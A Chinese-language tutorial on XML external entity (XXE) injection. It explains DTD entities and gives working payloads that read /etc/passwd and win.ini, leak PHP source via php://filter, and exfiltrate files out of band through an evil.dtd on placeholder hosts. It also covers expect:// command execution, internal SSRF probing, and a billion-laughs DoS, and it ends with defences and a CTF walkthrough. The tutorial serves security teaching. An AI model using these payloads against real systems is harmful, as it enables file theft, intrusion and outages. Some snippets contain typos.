0x00 什么是XML
1.定義
XML用於標記電子文件使其具有結構性的標記語言,可以用來標記數據、定義數據類型,是一種允許用戶對自己的標記語言進行定義的源語言。XML文檔結構包括XML聲明、DTD文檔類型定義(可選)、文檔元素。
2.文檔結構
XML文檔結構包括XML聲明、DTD文檔類型定義(可選)、文檔元素。
<!--XML聲明--> <?xml version="1.0"?> <!--文檔類型定義--> <!DOCTYPE note [ <!--定義此文檔是 note 類型的文檔--> <!ELEMENT note (to,from,heading,body)> <!--定義note元素有四個元素--> <!ELEMENT to (#PCDATA)> <!--定義to元素為”#PCDATA”類型--> <!ELEMENT from (#PCDATA)> <!--定義from元素為”#PCDATA”類型--> <!ELEMENT head (#PCDATA)> <!--定義head元素為”#PCDATA”類型--> <!ELEMENT body (#PCDATA)> <!--定義body元素為”#PCDATA”類型--> ]]]> <!--文檔元素--> <note> <to>Dave</to> <from>Tom</from> <head>Reminder</head> <body>You are a good man</body> </note>
3.DTD
XML文檔結構包括XML聲明、DTD文檔類型定義(可選)、文檔元素。
1.內部聲明DTD:
<!DOCTYPE 根元素 [元素聲明]>
2.引用外部DTD:
<!DOCTYPE 根元素 SYSTEM "文件名">
3.內外部DTD文檔結合:
<!DOCTYPE 根元素 SYSTEM "DTD文件路徑" [定義內容]>
DTD中的一些重要的關鍵字:
- DOCTYPE(DTD的聲明)
- ENTITY(實體的聲明)
- SYSTEM、PUBLIC(外部資源申請)
4.實體類別介紹
實體主要分為一下四類
- 內置實體 (Built-in entities)
- 字符實體 (Character entities)
- 通用實體 (General entities)
- 參數實體 (Parameter entities)
參數實體用%實體名稱申明,引用時也用%實體名稱;
其余實體直接用實體名稱申明,引用時用&實體名稱。
參數實體只能在DTD中申明,DTD中引用;
其余實體只能在DTD中申明,可在xml文檔中引用。
注意:參數實體是在DTD中被引用的,而其余實體是在xml文檔中被引用的。
0x01 DTD 實體聲明:
1. 內部實體聲明
<!ENTITY 實體名稱 “實體的值”>
一個實體由三部分構成:&符號, 實體名稱, 分號 (;),這里&不論在GET還是在POST中都需要進行URL編碼,因為是使用參數傳入xml的,&符號會被認為是參數間的連接符號,示例:
<!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY xxe "Thinking">]> <foo>&xxe;</foo>
2. 外部實體聲明
XML中對數據的引用稱為實體,實體中有一類叫外部實體,用來引入外部資源,有SYSTEM和PUBLIC兩個關鍵字,表示實體來自本地計算機還是公共計算機,外部實體的引用可以借助各種協議,比如如下的三種:
file:///path/to/file.ext
http://url
php://filter/read=convert.base64-encode/resource=conf.php
<!ENTITY 實體名稱 SYSTEM “URI/URL”>
外部引用可支持http,file等協議,不同的語言支持的協議不同,但存在一些通用的協議,具體內容如下所示:

外部實體的默認協議
示例:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xdsec [ <!ELEMENT methodname ANY > <!ENTITY xxe(實體引用名) SYSTEM "file:///etc/passwd"(實體內容) >]> <methodcall> <methodname>&xxe;</methodname> </methodcall>
這種寫法則調用了本地計算機的文件/etc/passwd,XML內容被解析后,文件內容便通過&xxe被存放在了methodname元素中,造成了敏感信息的泄露。
3. 參數實體聲明
<!ENTITY % 實體名稱 “實體的值”> or <!ENTITY % 實體名稱 SYSTEM “URI”>
示例:
<!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" > %xxe;]> <foo>&evil;</foo>
外部evil.dtd中的內容。
<!ENTITY evil SYSTEM “file:///c:/windows/win.ini” >
4. 引用公共實體
<!ENTITY 實體名稱 PUBLIC "public_ID" "URI">
0x02 什么是XML外部實體攻擊?
有了XML實體,關鍵字’SYSTEM’會令XML解析器從URI中讀取內容,並允許它在XML文檔中被替換。因此,攻擊者可以通過實體將他自定義的值發送給應用程序,然后讓應用程序去呈現。 簡單來說,攻擊者強制XML解析器去訪問攻擊者指定的資源內容(可能是系統上本地文件亦或是遠程系統上的文件)。比如,下面的代碼將獲取系統上folder/file的內容並呈獻給用戶。
Code1: <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE a [<!ENTITY passwd SYSTEM "file:///etc/passwd">]> <foo> <value>&passwd;</value> </foo>
Code2: <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE b [<!ENTITY entityex SYSTEM "file:///folder/file">]> <foo> <value>&entityex;</value> </foo>
Code3: <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php" > ]> <root> <name>&xxe;</name> </root>
以Code1代碼為例,XML外部實體 ‘passwd’ 被賦予的值為:file:///etc/passwd。在解析XML文檔的過程中,實體’passwd’的值會被替換為URI(file:///etc/passwd)內容值(也就是passwd文件的內容)。關鍵字’SYSTEM’會告訴XML解析器,’passwd’實體的值將從其后的URI中讀取。
0x03 怎么甄別一個XML實體攻擊漏洞?
XXE漏洞主要針對web服務危險的引用的外部實體並且未對外部實體進行敏感字符的過濾,從而可以造成命令執行,目錄遍歷等。
最直接的回答就是: 甄別那些接受XML作為輸入內容的端點。 但是有時候,這些端點可能並不是那么明顯(比如,一些僅使用JSON去訪問服務的客戶端)。在這種情況下,滲透測試人員就必須嘗試不同的測試方式,比如修改HTTP的請求方法,修改Content-Type頭部字段等等方法,然后看看應用程序的響應,看看程序是否解析了發送的內容,如果解析了,那么則可能有XXE攻擊漏洞。
例如wsdl(web服務描述語言)。或者一些常見的采用xml的java服務配置文件(spring,struts2)。不過現實中存在的大多數XXE漏洞都是blind,即不可見的,必須采用帶外通道進行返回信息的記錄,這里簡單來說就是攻擊者必須具有一台具有公網ip的主機。
xxe漏洞檢測
第一步檢測XML是否會被成功解析:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE ANY [ <!ENTITY name "my name is nMask">]> <root>&name;</root>
如果頁面輸出了my name is nMask,說明xml文件可以被解析。
第二步檢測服務器是否支持DTD引用外部實體:
<?xml version=”1.0” encoding=”UTF-8”?> <!DOCTYPE ANY [ <!ENTITY % name SYSTEM "http://localhost/index.html"> %name; ]>
可通過查看自己服務器上的日志來判斷,看目標服務器是否向你的服務器發了一條請求index.html的請求。
從PHP代碼層面上
最開始,引入一個file_get_contents函數,將整個XML數據讀入data字符串中,然后交給php的xml解析函數simplexml_load_string()解析,解析后的數據賦給xml變量。
這一數據即XML字符串中使用的對象(或者說根元素)的數據,並echo輸出出來。
<?php $data = file_get_contents('php://input'); //獲取提交的XML數據 $xml = simplexml_load_string($data); // 交給PHP的XML解析函數 echo $xml->name; ?>
0x04 xxe漏洞的危害
xxe漏洞的危害有很多,比如可以文件讀取、命令執行、內網端口掃描、攻擊內網網站、發起dos攻擊等,這里就讀取任意文件的利用方式進行測試。
危害1:讀取任意文件
有回顯情況
XML.php
<?php $xml = <<<EOF <?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "file:///etc/passwd"> ]> <x>&f;</x> EOF; $data = simplexml_load_string($xml); print_r($data); ?>
訪問XML.php可以讀取etc/passwd文件內容
該CASE是讀取/etc/passwd,有些XML解析庫支持列目錄,攻擊者通過列目錄、讀文件,獲取帳號密碼后進一步攻擊,如讀取tomcat-users.xml得到帳號密碼后登錄tomcat的manager部署webshell。
實例展示:
可以使用如下的兩種方式進行XXE注入攻擊。
<!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]> <foo>&xxe;</foo> <!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" > %xxe;]> <foo>&evil;</foo>
外部evil.dtd中的內容。
<!ENTITY evil SYSTEM “file:///c:/windows/win.ini” >

當然也可以進行內網站點的入侵。

以上任意文件讀取能夠成功,除了DTD可有引用外部實體外,還取決於有輸出信息,即有回顯。那么如果程序沒有回顯的情況下,該怎么讀取文件內容呢?需要使用blind xxe漏洞去利用。
無回顯的情況
blind xxe漏洞方案1:
對於傳統的XXE來說,要求攻擊者只有在服務器有回顯或者報錯的基礎上才能使用XXE漏洞來讀取服務器端文件,如果沒有回顯則可以使用Blind XXE漏洞來構建一條帶外信道提取數據。
創建test.php寫入以下內容:
<?php
file_put_contents("test.txt", $_GET['file']) ; ?>
創建index.php寫入以下內容:
<?php
$xml=<<<EOF
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///C:/test.txt">
<!ENTITY % remote SYSTEM "http://localhost/test.xml">
%remote;
%all;
%send;
]>
EOF;
$data = simplexml_load_string($xml) ;
echo "<pre>" ; print_r($data) ; ?>
創建test.xml並寫入以下內容:
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://localhost/test.php?file=%file;'>">
當訪問http://localhost/index.php, 存在漏洞的服務器會讀出text.txt內容,發送給攻擊者服務器上的test.php,然后把讀取的數據保存到本地的test.txt中。
blind xxe漏洞方案2:
可以將文件內容發送到遠程服務器,然后讀取。
<?xml verstion="1.0" encoding="utf-8"?> <!DOCTYPE a[ <!ENTITY % f SYSTEM "http://yourhost/evil.dtd"> %f; ]> <a>&b;</a> $data = simplexml_load_string($xml); print_r($data);
遠程服務器的evil.dtd文件內容
<!ENTITY b SYSTEM "file:///etc/passwd">
blind xxe漏洞方案3:
可以使用外帶數據通道提取數據,先使用php://filter獲取目標文件的內容,然后將內容以http請求發送到接受數據的服務器(攻擊服務器)xxx.xxx.xxx。
<?xml version=”1.0”?> <!DOCTYPE ANY [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./target.php"> # /etc/issue <!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx/evil.dtd"> %dtd; %send; ]>
evil.dtd的內容,內部的%號要進行實體編碼成%。
<!ENTITY % all “<!ENTITY % send SYSTEM ‘http://xxx.xxx.xxx/?%file;’>” > %all;
有報錯直接查看報錯信息。
無報錯需要訪問接受數據的服務器中的日志信息,可以看到經過base64編碼過的數據,解碼后便可以得到數據。


這里列舉幾個案例:
惡意引入外部實體1:
**XML內容**
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY b SYSTEM "file:///etc/passwd">
]>
<aaa>&b;</aaa>
惡意引入外部實體2:
**XML內容**
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY % d SYSTEM "http://yourhost/evil.dtd">
%d;
]>
<aaa>&b;</aaa>
DTD文件(evil.dtd)內容:
<!ENTITY b SYSTEM "file:///etc/passwd">
惡意引入外部實體3
**XML內容**
<?xml verstion="1.0" encoding="utf-8"?>
<!DOCTYPE a SYSTEM "http://yourhost/evil.dtd">
]>
<c>&b;</c>
DTD文件內容
<!ENTITY b SYSTEM "file:///etc/passwd">
惡意引入外部實體(4)
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>
<foo>&xxe;</foo>
危害2:命令執行
php環境下,xml命令執行要求php裝有expect擴展。而該擴展默認沒有安裝。
<?php $xml = <<<EOF <?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "except://ls"> # id ]> <x>&f;</x> EOF; $data = simplexml_load_string($xml); print_r($data); ?>
該CASE是在安裝expect擴展的PHP環境里執行系統命令,其他協議也有可能可以執行系統命令。
危害3:內網探測/SSRF
由於xml實體注入攻擊可以利用http://協議,也就是可以發起http請求。可以利用該請求去探查內網,進行SSRF攻擊。
<?php $xml = <<<EOF <?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "http://192.168.1.1:80/"> ]> <x>&f;</x> EOF; $data = simplexml_load_string($xml); print_r($data); ?>
危害4:攻擊內網網站
該CASE是攻擊內網struts2網站,遠程執行系統命令。
危害5:拒絕服務攻擊
2. To crash the server / Cause denial of service:
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
上面樣例代碼2中的XXE漏洞攻擊就是著名的’billion laughs’ 攻擊。
(https://en.wikipedia.org/wiki/Billion_laughs),該攻擊通過創建一項遞歸的 XML 定義,在內存中生成十億個”Ha!”字符串,從而導致 DDoS 攻擊。
原理為:構造惡意的XML實體文件耗盡可用內存,因為許多XML解析器在解析XML文檔時傾向於將它的整個結構保留在內存中,解析非常慢,造成了拒絕服務器攻擊。除了這些,攻擊者還可以讀取服務器上的敏感數據,還能通過端口掃描,獲取后端系統的開放端口。
0x05 XXE漏洞修復與防御
xxe漏洞存在是因為XML解析器解析了用戶發送的不可信數據。然而,要去校驗DTD(document type definition)中SYSTEM標識符定義的數據,並不容易,也不大可能。大部分的XML解析器默認對於XXE攻擊是脆弱的。因此,最好的解決辦法就是配置XML處理器去使用本地靜態的DTD,不允許XML中含有任何自己聲明的DTD。通過設置相應的屬性值為false,XML外部實體攻擊就能夠被阻止。因此,可將外部實體、參數實體和內聯DTD 都被設置為false,從而避免基於XXE漏洞的攻擊。
方案一:使用開發語言提供的禁用外部實體的方法
PHP
libxml_disable_entity_loader(true);
JAVA
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
方案二:過濾用戶提交的XML數據
過濾關鍵詞:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC。
0x06 一道CTF題目
題目鏈接:

目的很明確獲取/home/ctf/flag.txt的內容
下面分析源碼
<script> function XHR() { var xhr; try {xhr = new XMLHttpRequest();} catch(e) { var IEXHRVers =["Msxml3.XMLHTTP","Msxml2.XMLHTTP","Microsoft.XMLHTTP"]; for (var i=0,len=IEXHRVers.length;i< len;i++) { try {xhr = new ActiveXObject(IEXHRVers[i]);} catch(e) {continue;} } } return xhr; } function send(){ evil_input = document.getElementById("evil-input").value; var xhr = XHR(); xhr.open("post","/api/v1.0/try",true); xhr.onreadystatechange = function () { if (xhr.readyState==4 && xhr.status==201) { data = JSON.parse(xhr.responseText); tip_area = document.getElementById("tip-area"); tip_area.value = data.task.search+data.task.value; } }; xhr.setRequestHeader("Content-Type","application/json"); xhr.send('{"search":"'+evil_input+'","value":"own"}'); } </script>
很明顯是AJAX異步傳送數據
在一般的異步網站都會有異步數據與服務器的交互,一般傳送數據為json但如果將傳送的數據格式改為xml。有很大的可能服務器會解析你異步上傳的xml腳本執行想要干的事

解題步驟:
要先修改Content-Type: application/xml
然后加入xml腳本即可
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY myentity SYSTEM "file:///home/ctf/flag.txt" >]> <abc>&myentity;</abc>

得到返回結果
<abc>CTF{XxE_15_n0T_S7range_Enough}
</abc>
0x07 參考鏈接
https://security.tencent.com/index.php/blog/msg/69
https://thief.one/2017/06/20/1/
https://www.jianshu.com/p/7325b2ef8fc9
https://blog.csdn.net/qq_31481187/article/details/53028221
http://netsecurity.51cto.com/art/201702/531996.htm
https://www.cnblogs.com/wfzWebSecuity/p/6681114.html
https://www.jianshu.com/p/7325b2ef8fc9
